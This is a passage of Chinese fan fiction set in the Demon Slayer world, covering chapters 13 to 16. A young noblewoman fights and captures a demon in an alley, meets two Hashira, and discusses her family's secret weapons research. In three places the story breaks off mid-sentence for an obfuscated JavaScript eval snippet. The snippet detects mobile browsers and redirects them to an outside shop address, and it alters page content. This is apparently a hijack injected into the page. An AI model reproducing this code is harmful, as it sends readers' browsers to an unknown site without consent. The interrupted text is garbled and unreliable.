我噗嗤一声笑出来,咦,他如果呆成这样,那我怎样才能撮合他和嘉泽乐呢?而且打趣肖恩总是很有意思,嘉泽乐欺负我那我就欺负肖,这叫作伤害转移!于是我又说:“啊,Shawn,我发现他们与你非常相配呢。” 一个淑女出门在外拿着刀,用枝子女士的话来说是非常不得体的,况且这也不是能随便携刀外出的时代了。于是出门在外便有肖恩为我带着,他能很轻易地把刀藏在长外套下——而那柄大太刀实在是太不便携带了,即使坐汽车也很是不便。 除非去偏远些的郊区,否则我几乎没法带上它。于是平常陪我外出的便只有外祖母的那柄日轮刀了。 肖恩一下像是听到什么很不得了的话了一样,脊背挺得笔直,只有眼睛眨也不眨地盯着前路,一本正经地回答:“不,我受不起这样的谬赞,请小姐收回这句话。” 我笑得更厉害了,忙说:“对,他们是我的,这的确是我的刀。” 斋藤小姐订的酒馆在那条长街最热闹的位置,也能算是在吉原的外围。汽车还能在路上行驶,但两边的步道上人和人像胶水一样粘在一起,来去都是些年轻的面孔,打扮也大多潮流新式。 肖恩为我指出一个方向,那边的天都被灯光曛成亮堂的暖黄色,那就是花街的方向。往那边走的只剩下男人,有零星几个女性也大多陪在某个男人身边,我站在原地,似乎能嗅到空气中甜腻的香粉味,又或者听见悦耳的丝竹声。 走到酒馆时,我很快就看到了高桥氏,她今天也穿着非常低调的钉珠印花短礼裙,站在酒馆门口朝我挥手,唯一惹眼的只有发髻上的珠串。 “我一直在等您呢!”高桥氏如是说。内向的她一定因为我愿意和她多说话,而把我当成非常好的朋友了,不过我也欣赏高桥氏的率真,挽着她的手臂一同进去了。 事实上,我低估了那些小姐们的自由开放程度,我走过街道,听到悠闲的三味线,一度认为自己将要度过昏昏欲睡的晚上了。不过,真是令人惊喜!吧台上的玛格丽特颜色太漂亮了,这下我不觉得自己衣服上的流苏相互摩擦而发出的沙沙声与这里格格不入了。 “来,我们去跳舞。” 夜晚总是属于有活力的年轻人们。 13. 木刀 我喝了一点儿酒。呛人的芝华士,酒精味燎人,我不喜欢,背着人群将喝的那小口又吐回了杯子里。 肖恩跟着我们进店之后就一直在吧台附近坐着,我不能离开他的视线,他也拒绝待在不能在意外出现时立刻赶到我身边的位置。我瞧见酒保有意与他搭话,但显然失败了,最后神情不太自然地为他倒了杯柠檬水。 肖恩当然没有喝,那杯水就静静地伫立在他面前。天啊——他周身散发的气质简直与酒馆格格不入,滴酒不沾,坐姿端正,偶尔一束眼神拨开人群投射到我身上,打量打量我周围的人,掂量掂量我喝了多少酒,只要还在他的接受范围内,便迅速收回。 斋藤小姐说这个人的眼神像一只爪子,仿佛光是瞪一眼,就能把我周围的可疑人员全都拎起来甩到门外去。我笑笑,没有为肖恩辩解什么,开始和她们谈起家里养的宠物,约起下次一同带着狗狗出门玩。 斋藤小姐素日里就喜好社交,出席其生日宴的朋友当然也不会少,不过可惜的是吉原花街复古装潢的西式酒馆仅此一家,见多识广的斋藤小姐,即便有诸多不满,也要择独一无二的这一家。 而这可怜的逼仄小酒馆里,各色人群在喧闹中肩膀擦着肩膀,挤得连新鲜空气都穿不过去。我有些胸闷,向肖恩示意我要出去透透气。 肖恩会意地起身,跟在我身后出了酒馆。他总是差我半步地跟着,从这行为来看倒是极尽绅士风度。 我没有在门口过多停留,来来往往的人太多了,热闹因打开的门而接壤。这里的过路人有种事不关己的好奇心,会上下打量周围的一切,我不喜欢这种注视,带着他走去近处相对空旷一点的圆形广场。说起来也奇怪,以往在酒吧我不会觉得这样难受,即使是胸闷,也从没到想吐的地步。 “这个酒吧实在是太小了,对吧?”我说着坐到路边的长椅上,一手给自己扇风,尽力深呼吸,想把那股来得奇异的恶心感压下去。 “您不舒服吗?”肖恩弯腰问,他正认真地观察我的神情,想从中判断出我的需求,“需要我为您做些什么?” “嗯,”我回答,“我想吃一个抹茶冰激凌。就是枝子女士说的京煎堂里的那种。” 当然没有抹茶冰激凌,连茶屋也没有。也或许有茶屋,但在这个点一定早就关门了,这儿四处耸立的都是些销金窟,再远些就到了花街的区域,那儿更是满满的风月所,酒色财气,空气浑浊得像要凝固,我一定会喘不上气。 京煎堂离这儿远得很,肖恩犯难地站在我身侧,四处看了看,他来前考察过这里的地形,光是复杂的藏在小巷里的道路就有十数条。不过前方正开着一家小店,肖恩决定去那里问问路。 于是他就这么看着我。 “干什么?非得寸步不离吗?”我白他一眼。 “夫人叮嘱过,我不能离开小姐超过十米远。”肖恩如是说。 我有些恼了:“你这木头!怎么那么听母亲的话?” 他不再和我争辩,只是直直地盯着我——这个死脑筋!店明明就在拐角呢,还非得我跟着去。虽然人群很密集,可能会叫我离开他的视线,但这未免也太紧张了吧。 然而我不敢忤逆——我是说母亲的意思——天知道这个闷葫芦回去会不会同母亲告状……当然也可能他只会一直和我僵持下去,直到我妥协着站起来。我拍拍裤子,不情不愿地和他朝拐角走去。 走到近处才发现,这拐角直通一条昏暗的小巷,而巷子深处黑洞洞的,仿佛蛰伏在那儿大张着嘴的怪物,正等着我们慌不择路地逃进它的胃袋里。 当然,我记忆深刻,小巷——在我还没消除这份小巷后遗症时,我还是得跟肖恩并排走才行。巷子里开着一家小店,橙黄的烛光下走出一个满脸褶子的女人,她一见到肖恩就谄媚地笑起来:“啊!请进,请进。” 这儿太寂静了,我有些怀疑它的营业方向。 这家名叫京满屋的店的装潢实在是小气,昏暗的灯光从低矮的门流出,楼上传来几声调笑的声音,三味线、紧闭的窗门、女人和男人。 肖恩挡在我身前说明了来意,表示他并非要艺伎相陪,只是想要问问路,她——这位鸨母登时垂了下眼睑,毫不客气地冷声说我不知道!随后头也不回地进了门厅。 我露出可怜巴巴的神情,和他面面相觑。 我不想为难他,但那恶心感实在难以消退,甚至让我怀疑是哪个不怀好意的家伙在酒里下了什么药。 “实在不适,”肖恩说,“我先载您回去,然后再通知斋藤小姐。” “可我还不想这么早离开呢。”我嘟嘟囔囔,“再逛一会儿吧,回去再和斋藤道歉。” 这条巷子里仅有这一家店,披着歌楼的外皮,却已经成了花街之外的游女屋。也难怪它开在这么偏僻的位置,想来也是为了躲开监管的管理人。 在我们将要转身离开时,巷子里忽然吹起一阵风,风里夹着一股腐臭的味道,这味道不浓,扑过来时却直冲脑门,与我哽在喉口的恶心感正撞上,让我差点打呕。这真是太难受了,我只想催着肖恩快点往回走。 但那个瞬间,我听见什么东西用力打在空中的声音,仿佛一把刀刮着风。 “夜晚降临,像您这样美丽的小姐有多少个呢?” 肖恩长腿一跨将我护在身后,速度很快,差点绊倒我。然而我的风度可不允许我还未战斗就先倒在地上,他的外套因着动作微微掀开,露出别在身侧的刀,实木刀鞘泛着一层油光——有栖川家的小姐什么时候需要别人护在身后了? “真抱歉,”我哼一声,从肖恩身后走出来,“先生在花街随便寻一个艺伎,都比我温柔美丽百倍呢。” 事情就是如此了,在我已经踏出那么一步、趁对方毫无回应之时,我迅速伸手去够肖恩腰间的日轮刀,然而黑暗中一把小刀擦着我的裤子插进我脚边的混凝土地中,溅起一簇碎石。 ……不说话就罢了,使暗器可不是正人君子做的事啊! 我佯装气得跺脚:“这把刀!它是收藏品!先生,我本来不想用的。” 这名先生慢慢从黑暗中走出来,我眯了眯眼想看得更清楚——我早做了准备,但还是被那与人类已经截然不同的外貌吓了一跳——他还保留着人类的外形,但肤色也好、神情也罢,都已经变换成非人的样子。 他的身体非常瘦小,细细的脖颈上缠满绷带,穿着一身破旧的武士装,手握一柄细长的武士刀,宽大的袖袍翻飞,露出的手臂上皮肉紧紧包裹着骨骼,长满蓝色的纹路。 鬼先生像看一个玩具一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613411|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样看向我,抚弄着衣袖,脸就像在酒缸里浸泡过似的,绯红、且皱缩,他如是说道:“呀,你的双腿可真是太好看了。” “啧……”我克制不住自己因反感而咋舌,抽了一下嘴角,将披肩褪下交给肖恩,非常潇洒地嘱咐:“别弄脏了!”刀刃在漆黑的旧巷里闪出一道白光,我直直向前冲去。 鬼先生轻笑,他那宽大的袖袍中忽地窜出一堆小刀,刀尖平整锋利,头宽身窄,我闪身一躲,借助墙壁跳起,挥刀去斩,鬼先生如弹簧般跳起后退,然他仿佛还未能掌握后退的诀窍似的,没能躲过我的刀,被我轻松斩下一根小臂。 从那段断裂的袖袍中稀稀拉拉掉出更多小刀——木雕刀? 被我这么一斩,鬼先生原本嬉皮笑脸的表情变得极其扭曲,连走路都跌撞起来。不、不对,他是腿脚不太灵活么?就像才会使用双腿行走的婴孩。我右脚后退,双手握刀抵在右胯,从已知的鬼的情报来看,他的小臂很可能在短时间内就会再次生长出来,我不能浪费时间。 这么想着,我再次前冲,想到先生对我的教导,若能一击必杀当然好,但若不能,必得诱导对手成为你的工具。鬼不是人,我的反应速度也极差,但胜在我的刀极好,是对付鬼的最佳利器。而他的木雕刀柄重且尖细,这么快的速度砸到身上非得砸出个窟窿不可。 鬼先生一边生硬地拿武士刀格挡,一边急速后退,木雕刀打在我的刀上,刀身嗡鸣,震得我的手发麻。 他显然不适应后退这个动作,双腿像灌了铅,眼见我就要追上来,急忙转身要逃。我矮身加速,在他还在转身之际便大喝一声,将刀身横过挥去,背身跺脚飞离地面,身体在半空划过半道弧线,借加速下落的力砍向他的腰间——鬼先生的血液浸透了我的刀,冒着森森热气,仿佛要把空气烧焦。 原来鬼的血也是热的…… “你的刀怎么可能伤到我?”鬼先生目眦欲裂,惊恐地尖叫着,他的嗓音尖厉得像要炸开了。 “是是是,我都知道。”我哼了一声随口应着,盯了盯鬼先生分散两地的上半身和下半身,在双方都沉默下来的两秒内突然砍下他的四肢。 “先生还是应该和木雕刀待在一起,使什么武士刀呢?” 鬼先生怒吼一声,上下牙激烈碰撞,气愤地发出“嗑嗑嗑”的瑟瑟发抖的声音。然而被日轮刀砍过的地方短时间内无法恢复,他只能无能为力地看着自己的双臂和下肢散落在边上,与自己遥遥相望,而我则一步一步地走向他。 “鬼害怕阳光,究其根本,是不是因为紫外线会对其造成直接伤害呢?”我在他面前蹲下,盯着脏兮兮的断肢自言自语,又像是在问他,“如果用矿石矿铁粉末来制炸药,致伤致死率会不会更高?” 鬼先生并没有听懂我的喃喃自语,但显然他意会了某种危险,连嘴唇也惊得抽搐起来,彻底放弃抵抗般对着我大声嚎叫:“那位大人不会放过你的!” “那位大人?” 我有些疑惑地重复了一遍,接着便一脚踩到他的胸膛上,鬼先生登时又哀鸣起来,更多血液从伤口处如水闸破裂般泵出,我的胸腔禁不住升腾起一股羞愧的快感,我向肖恩使了个眼色,随后笑眯眯地加重脚下的力气,轻声劝他:“时间不多了,再多看一眼这个世界吧。” 14. 狭路相逢 从主公大人那里回来后,父亲过上了一段相当忙碌的时日,早出晚归,我往往一天里见不到他一面。 当我向母亲询问起时,坐在和室里静静插花的母亲放下手中显然已经修剪过度的桔梗,她总是先看向屋外,视线投向很远很远的地方,全然未被院墙格挡。 “过来,朝和。”母亲招手让我坐到她的身边,在我依偎过去后便轻轻搂住我。 “亲爱的,”说出这话一定让母亲备受挣扎过,我能看得出来,她眉头不自觉地折起,语气也带上一丝莫名的忧愁。上次我受伤时她还没有这么忧虑,现在却跟有一个更巨大的难题挡在面前似的。但她还是接着说了下去,“妈妈想拜托你一件事,可以吗?” “和爸爸最近在忙的事相关吗?”我想起来由,那座深山之中隐蔽的和屋便又在脑海里清晰起来,事实上那天父亲与主公大人进屋谈话后,直到离开我都没再见过主公——父亲谈话完毕出来时有些沉默,我们共同坐在游廊下,他却没有被院内的景致吸引分毫注意力。 直到我凑上前去,他才伸手摸摸我的发顶,叹息般轻声道:“主公的身体不大好了。”我想问点什么,但父亲一直没说话,也就没有问出口——不知为何,当我再回想起主公时,总能想到他站在日头下,风掠起他头发的样子,他似乎从未毫无负担地快乐过。 母亲点点头,“这是一件很重要,但也很危险的事。它太危险了。”母亲重复,“在我像你一样大的时候,也曾幻想过的事。但那时的日本……亲爱的,鬼在日本的土地上已经绵延太久了,久到很多人无法想象没有鬼的时候的日子。” 搂住我的手逐渐用力——纤细的母亲身体里也蕴藏着这么巨大的力量,只要我表露出一点犹疑的神态,她就能立刻下定决心将我推远,让我置身事外。 但我没有。 我想我的冒险精神一定遗传自外祖母。当我奔跑时,我可以同频感受到她曾在密林间追逐鬼的踪迹的气息。母亲也一样。但她实在太爱我了,如果生命与死亡要做等价替换,她会毫不犹豫地用自己代替我。 所以我的心怦怦跳着,越剧烈越能说明我的激动,我目光灼灼地看着母亲,尤其她能够吐露详情的双唇,期待着能有更有趣的故事发生——而我可以参与其中——我太天真了。可我从不后悔。 肖恩并没有第一时间就把那位输状凄惨的鬼先生控制起来,而是垂下眼,视线落在我正踩在那个剧烈起伏的胸膛之上的脚,没有一个词从这位看似绅士的保镖嘴中流出,但是我却已经领悟了他未说出口的制止——自从肖恩旁听了枝子小姐的礼仪课,他对于淑女的形象的理解似乎更进一步——我收回自己的脚,微踮着脚尖轻快地后退几步。 这下他才满意似的收回自己的注视,双手端着那条银狐披肩举到我近前。 我微微低头示意他为我披上。他的动作顿了顿,可是又有什么办法呢?我手里正拿着刀,而他待会儿要做的事或许会弄脏银狐漂亮的长毛。他一板一眼地将披肩挂在我肩头,显而易见,虽然他的礼仪功底大有进步,但是对于穿搭审美还有待学习。 等确认我站的位置距离鲜血淋漓的鬼先生足够远,他才放心地做自己的事。肖恩戴上手套并拿出先前准备的布块紧紧团成一团,塞进鬼先生嘟囔不停的嘴里。听说这些鬼会用自己的尖牙咬住普通人,然后尽情吸食他们的血液,如同魔幻小说里昼伏夜出的吸血鬼。 等到确定鬼先生并无反抗的能力了,肖恩才将一块长巾对折两下蒙住鬼先生的双眼,用力绑在他脑后,几乎紧紧勒住他的双眼。 我稍稍抬起手臂,将快要滑下的披肩拢回肩头,转动手腕,日轮刀轻薄的刀刃随着我掌上翻动的花刀疾破巷子里的冷风。显得有些碍事的披肩并没有影响我收刀,刀刃划破静止的空气“噌”地滑进刀鞘,刀镡贴近鞘时,刃仍在微颤。 当秘银色被藏进鞘中时,我下意识前倾了些侧耳听刀鞘中太刀的嗡鸣。 肖恩却从我手上接过日轮刀,往后退了一步。在我不解的注视下,他无动于衷,语气却带着十足的劝诫:“君子不近危,您不该这样。” “……”这个木头,真是扫兴! 我不满地转过身。只好整理经历战斗而凌乱的长发聊作打发。一回想到那个酒馆,咽喉处呛辣的恶心感又缓缓爬了上来,我实在不愿意再回去。何况此刻我的形象也不适合见人。 暮色将将沉进鳞次栉比的屋檐后,夜幕霎时笼罩可见的一切光景。天黑得好快,不过一瞬间,唯一的清辉便只源自缀着的月亮,脂粉的浓香在晦暗的小巷里越飘越远。 我瞧见先前那位鬼先生散落一地的木剑,不觉又想起那天,小巷没有尽头的幽深裹挟着还未从脑海里散去的阴影吹在我裸露的皮肤上。我下意识抖抖披肩。 一只黑色的乌鸦悄无声息地落在不远处的屋顶檐角,奇异的是它身上装饰着漂亮的饰物,几声呕哑的鸣叫似乎引来更冰的阴流。 我猛地看过去。 肖恩更快地反应过来,贴近我,微微侧身挡在前方,又记着前车之鉴所以伸出一边手臂护在我身前。 檐角的乌鸦旁若无人地张开翅膀梳理羽毛。 并不是黑暗里肆虐横行的鬼。 从屋顶上轻巧落下的身影高大健壮,昏沉的光线里,他额饰上华丽的钻石与珠链却依旧闪烁着迷人的光泽。并未听到他踩在地面上的任何声音,但是我已然认出来人。 “又是你啊,有栖川家的小小姐。”男人含着笑意的不羁声线如此熟悉,虽用着礼貌的敬称却丝毫不能掩盖他的高傲。 竟然是宇髓天元先生。我拍了拍肖恩,示意他放松。 宇髓天元走到近前,我能很清晰地看清他的样子,今日他仍是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613412|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛装出席,不肯卸去一样装饰来减少他的华丽。 接着,又有两道身影从高处轻轻掠下。一个梳着高马尾,穿着一身干练忍者服的女人,站在宇髓先生稍后的侧方,另一个男人——竟然是炼狱先生?!金色的长发散在肩头,发梢灼有赤红,还有那双金红的眼睛,他一出现,小巷里仅有的光线都聚拢在他身上,甚至连温度都仿佛升高了。 上次在主公大人的府邸与炼狱先生再见,因有公务在身只有短短的几句闲叙,我一直觉得可惜。没想到第三次见面来得如此突然,我下意识想梳理一下自己的头发。天啊,偏偏是现在…… 我正有些懊恼,却听见炼狱先生不加掩饰地赞赏:“刚才做得不错,有栖川少女!”——欸?我顿感意外,才明白他们早前就在屋顶上看到了我的战斗。我看向他时恰巧与他温暖的双瞳相接,他脸上真挚的笑容叫我莫名有些耳热,心脏的跳速有些过度。我只好移开视线,拘谨地向三位行礼。 “贵安,三位大人怎么会在这里呢?”他们都穿着鬼杀队的制服,出现在这里,总有些意料之外的格格不入。 宇髓毫不在意的样子,轻松地抱臂在胸前,“我们怀疑有上弦之鬼在花街藏匿。” “什么?”花街里?花街的夜晚收敛了京都最露骨的热闹,我有些不可思议,但是一想到方才的手下败将,又觉得没什么不可能的。 “所以带着我的老婆们,”宇髓没有解释,而是支起一边手臂,拇指朝向身体后侧方的女人,“潜入花街,打探一下风声。没想到一来就看到有栖川小姐麻烦缠身。”他没忘记打趣我。 我这下才恍然大悟这位女士的身份,秀丽的容貌,一双紫色眼睛引人出神,左眼下那颗小小的泪痣则平添了几分妩媚。原来她就是音柱宇髓先生的妻子。简洁利落的打扮跟我想象的有些不一样呢……等等,“们”是指? 视线刚对上那位女士,她便对我笑起来,微微上挑的眼尾弯弯,她的声音很是温柔:“有栖川小姐,贵安。我是雏鹤。” 不等我再做礼貌的回礼,她已经自然地接上话题:“刚才的战斗真是非常精彩呢!不畏惧鬼的危险,您真勇敢!”她自然比我年长些,但应该也不会相差太多,可是她温柔得像是夸奖小朋友似的语调让我很有些不好意思。 接二连三的夸奖不免让我感觉飘飘然,我努力佯装不以为然,维持着小小的得体:“哪里,您谬赞了。这只是自学的雕虫小技,不及各位大人。” 雏鹤似乎还想再说些什么,宇髓先生旺盛的好奇心却制止了她未尽的赞赏。他指着边上正在瑟瑟发抖的鬼:“那个鬼?你们把他捆起来做什么?” 啊……他们都看到了…… 肖恩并没有回答任何问题,这会儿他的嘴被铁水浇铸起来了,只是看向我。他会以我的意愿为基准。 我一时不知该如何是好。 15. 特意 鬼杀队与鬼争斗的漫长岁月里,像有栖川家这样与鬼杀队存在合作关系的家族有很多。 然而在过去那无比封闭的时代,想要更进一步研究鬼实在有些痴人说梦。年复一年,鬼杀队无可避免的伤亡更是惨痛。有特殊能力的鬼比比皆是,但是能将日轮刀学到极致的剑客却始终稀罕。 但是如今不同以往,现在的时代早已有异于过去的冷兵器时代,日本之外的疆域幅员辽阔,科技的发展日新月异。与鬼相争的阵营也不再只有鬼杀队一个。 而我——母亲交给我的特殊任务便也与此相关——这一次父母带着我再次回到日本,为的就是正式启动外祖母还在世时曾主张的针对鬼的特质武器研发。我不知道父亲和外祖父是怎样劝说母亲同意了我参与其中。 特制武器的研发所需的数据,在考虑到消灭鬼的最终目的后,确认需要针对恶鬼进行实验,内容包括且不限于对于鬼的身体构造解剖与再生性的原理研究,还有究竟为什么鬼会畏惧阳光? 虽然大家普遍认为是紫外线对鬼造成了伤害,但是具体还需要对鬼的实体进行紫外线实验来进一步分析。 父亲与主公大人的秘密谈话也与此相关。除却基于合作立场,需要商讨更多基础细节外,还有特制武器的研发更是需要鬼杀队的经验与帮助。制造日轮刀所使用的特别矿石,虽然我们无法弄清它形成的原因,但对于鬼的伤害加深绝对是无须质疑的。 那么,事已至此,对于后续推进最终剩下的就只有一件事:鬼的活体样本。母亲最终同意我参与其中的原因或许就是这个,如果出门在外再次遇见鬼,可以在保证自己安全的前提下与之交战,并尝试捉捕。 捕捉……这个词这让我想起从前跟着父亲去打猎,我们骑着马,带着好几条猎犬,追逐着猎物的踪迹。无论是野兔、狐狸还是斑羚,这些猎物没有一次逃脱过我们的追捕。把鬼变成猎物,我真不知道该说自己的心情是惊恐还是激动……我的心跳得太快了! 事实上活捉一只鬼,如果求助鬼杀队应该会更容易,但是……但是!虽然这是有栖川家和鬼杀队的秘密合作,身为柱的几位大人日后必然会得知此事,可就目前而言,一切尚在准备待行的阶段,需要更加保密才是。这也是我犹豫不言的原因。 我难以启齿,纵使我能够告知,这里……我四下张望,更深的夜色已经笼罩了这条隐秘的小巷,诡异的寂静为这个环境覆上几分阴森——这里也绝不是能够畅聊这个话题的合适地点。 宇髓先生的视线如有实质,沉甸甸地落在我身上,我完全可以体会到其中的探察。如果今天给不出合适的解答,估计就无法脱身了吧? 然而爽朗的声音忽然响起,打破我们之间拥挤的寂静,炼狱先生往前走了几步,他脸上绽着大大的笑容,坦然地说道:“这就是我的来因了。” “哦?就是那个东西?”宇髓先生的视线向下撇去,落点在炼狱先生手上。我竟然这时才发现炼狱先生手上原来提着一个箱子。方方正正的形状,外表装饰有皮质框架,两个搭扣紧锁着。 父亲给我看过他的手稿,画着能够装载捕捉到的鬼的容器,形状和尺寸与炼狱先生手上的箱子一模一样! 父亲说容器已经在制作了,等制作完毕后就交给我,出门时让肖恩提着。我们都没太急迫,因为我们谁也没想到鬼会来得这么快。 “考虑到器物的特殊性,锻刀人在打造时非常谨慎,因此慢了一些。完工后主公就嘱咐我去取来了。”炼狱先生将箱子放下,打开——由产屋敷家提供的猩猩绯砂铁矿石特制的提箱恰好可以装下鬼先生残存的身体主干,箱子内部铺有薄绒,不会让鬼与矿石直接接触而受到损伤,但也完全限制了空间。 “原本是要送到有栖川府上的,但是方才拜访的时候才听说少女已经出门了。”炼狱先生看向我解释道。这是他出现在这里的原因,与宇髓先生是半路遇上顺道而来,毕竟这条街已经距离花街相当近。 肖恩上前将鬼扔进箱子里的动作可以说是粗暴,但是却没有将一滴血溅在自己身上。鬼先生的血几乎快止住了,创伤处红得发乌。新的四肢原本会从这里再次生长出来,不过,永远也不会有机会了。 提箱被合上时,金属的盒身相触,将黑暗关在其中。 宇髓先生一直静静地看着,等肖恩面不改色地把箱子提在手里,才接着问道:“就这么装起来?” 好像已经没有什么再隐瞒下去的必要了…… “将它装起来是为了带回去做一些实验……”我咬咬牙,尽量言简意赅地解释清楚。然而实验这个词让面前的三人都有些茫然,为祸人间的鬼在他们手下向来一刀毙命,这是他们的使命,他们实在不明白鬼有什么实验可做。 不知为何我那原本高悬着的心掉回了原处,我做了一个小小的呼吸,解释:“这是与鬼杀队的一项合作,有栖川家族一直在研究如何更加有力地斩杀恶鬼,” 我避开炼狱先生的眼睛,自顾自地回答,“……关于鬼对某些特殊武器的承受程度,这些研究都需要一个原始样本。” “特制武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613413|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器?”炼狱先生与宇髓先生对视一眼,既然是秘密合作,身为柱的他们自然也并不知情。他们的视线统一落到那个提箱上,猩猩绯砂铁与猩猩绯矿石并非是普通的矿石,日夜拿着日轮刀作战的两位柱已经看出些许端倪。 我挺直脊背,正色看向三位:“所以在实验完成前,请两位柱大人以及雏鹤小姐不要透露关于此事的半点风声。另外——” 我义正词严地仰起头:“请二位大人给予有栖川家族更多的信任。” 炼狱先生意外地立刻向我道歉了,并且非常爽快地接受了这件事,这样的消息显然让他非常愉快,声音再次变得洪亮起来:“不必担心!这是自然的!” “噢——”宇髓先生当然就不会愧疚了,他无视了我后面那句话,指了指箱子,语气较之一分钟前平缓了很多,“所以你把他带回去之后,就开始做这两项华丽的实验。” “是的!”我微微颔首,“不过基于此,我还想试试能不能研发一些用于治疗与鬼争斗后受伤的特效药。”说到这里,我的耳垂又隐隐作痛。 那晚受伤回去,母亲泪流满面,我从外祖父嘴里得知,我遇到的那种鬼只是最普通的鬼,被名为十二鬼月的鬼首领们千年来与鬼杀队争斗不休,他们会造成的伤亡令人不忍卒睹。 还有那个无踪无迹的神秘鬼王,或许有朝一日鬼杀队会与他决一死战。每每想到这些,就让我对此类特效药的执念多一分。 这个话题似乎引起了炼狱先生的兴趣,他看起来很高兴,甚至伸手拍了拍我的肩——这个对于不太熟悉的人可以被说作无礼的动作毫无距离感,可我却像是从他的掌心接收到同样上扬的情绪,不知为何也跟着高兴起来。 “关于你的特效药研究,可以去向胡蝶忍寻求帮助,她是鬼杀队里最精通医药的。还有她针对鬼特制的紫藤花毒,或许对你们的研究也会有帮助。”炼狱先生已经开始为我指引方向了。我爽快地应下,“我会经常去向蝴蝶小姐请教的。” “唔姆,”炼狱先生顿了顿。蝴蝶忍小姐口中那个有时过度乐观而容易“话不投机”的炎柱大人竟然也会犹豫自己的发言。察觉到我投去的视线,他的笑容成了黑暗中唯一耀眼的光源,热烈的瞳中簇动着燃烧的焰,“你的剑术很不错。如果愿意的话,过几天可以来炼狱宅,我可以指导你。” “真的吗?”我惊讶极了。 他认真地点点头,神色不似作伪。 太好了! 虽然我的剑道老师亦是个厉害的人物,可是谁会拒绝炼狱先生呢? 16. 断档 我的白昼已经完了 我像一只泊在海滩上的小船 谛听着晚潮跳舞的乐声 ——泰戈尔 好像平白穿插进一段摇滚乐之中的蓝调,等我反应过来时,距离上次在花街与宇髄先生和炼狱先生见面,已经过去了平静的好几日。我有心关注关于那个被捉住的鬼的研发究竟有了怎样的进展,但是近期实在忙碌,又的确不谙此道。 肖恩自然会向父母汇报我在那条小巷子里的所见所闻,他倒是很清楚自己的雇主究竟是谁。 因为没有受伤,所以也没刺激到母亲敏感的神经,她细腻雪白的手伸过我颈后,将我温柔却有力地搂进怀里时,声音似哼唱着歌谣般感叹道:“朝和,真是令我意想不到的小英雄。” 这么说来还得多谢肖恩,他那平铺直述不带修辞的描述为我从外祖父那里赢得了“很有外祖母风范”的褒奖。 我度过了相当快乐的一个夜晚,连睡梦中都满意地打算着要在醒来后去拜访炼狱先生。他亲口说了要指导我,这我怎么可能会拒绝呢! 这份快乐直到第二天早上被嘉泽乐叫醒才终结。我竟然忘了还有礼仪课的安排…… 枝子女士的一言一行都用刻度尺标注过,她会时刻提醒我怎样的举止是错误的。 不过她的教学方式并不死板,有些时候她也会教导我一些关于茶道或是插花的知识,还会请我品鉴三味线——她试着让我弹奏过,我也绝不是没有音乐才能的无知之徒,可我大脑中盘旋的钢琴旋律会破坏一切,夹杂进几个噪音,再用我的肢体语言表明我着实欣赏不来这种高雅艺术,不如我用钢琴给您弹首爵士乐? 其他时候就是检验我礼仪课成果的社交时间。自上次参加斋藤小姐的生日会后,大约是我当时展现的态度不错,也可能是母亲稍稍放松了对我的担忧,数不清的邀约扑腾着翅膀飞进有栖川宅邸。 门房每日都会为我送来信件,或是引见更多同龄的闺秀小姐们。我们有时在小花园内品茶赏花闲聊——外祖父是华人,他对园林景观的审美数十年来依旧无法与大和趋同,别家院内常见的枯山水在有栖川宅院任何一处都无踪迹——中式风情的园林造景巧妙运用植物、池水甚至山石,向来是有栖川宅盛名在外的一个特点。 偶尔我也会外出赴宴,或是去别家拜访,或是去京中有名的馆舍池苑。自然是有肖恩陪同,他替我带着两把刀。当我问起特效武器与特效药的开发时,这位木头就会用恭谨的语气说:“尚在研究中,小姐。”他绝不透露一丁点细节,我便总怀疑研发是否遇到了阻碍。 不过很快,这种担忧便消弭了。 大和贵族家的小姐们即使在如今这个年代,时常外出游荡依旧被视为一件不太得体的事,而困顿在深深宅院内聊以打发日常的行为只剩下饲养宠物。又一次聚会时,主家小姐饲养的一只纯白的长毛猫溜进茶室,圆圆的脸和粗壮的四肢,雪白的长毛胜似某种华贵的织物。 它胆大极了,大摇大摆地爬到我膝盖上对我翻出肚皮。指尖触到丝绒的长毛时如同液体滑动。我说起我在英国养的两只猫,不过这次并没有随行,而是带了一条狗狗。同桌其他养了狗的几位小姐便接上话头,邀请我下次带着狗狗一起去山上野餐。 我自然答应。我的杜宾犬自从来到日本后,还没有放纵地出去奔跑过,每天遛狗的行程几乎都是仆人代劳,在院子里或是屋外象征性地巡视两圈就回来了。 那天我刚和几位年轻小姐们走下山,完全释放精力的杜宾脚步轻松地走在前面几步的位置,偶尔恋恋不舍地回望身后的矮山。肖恩牵过狗绳,恭谨地告诉我特效药的研制已经有了初步成果。 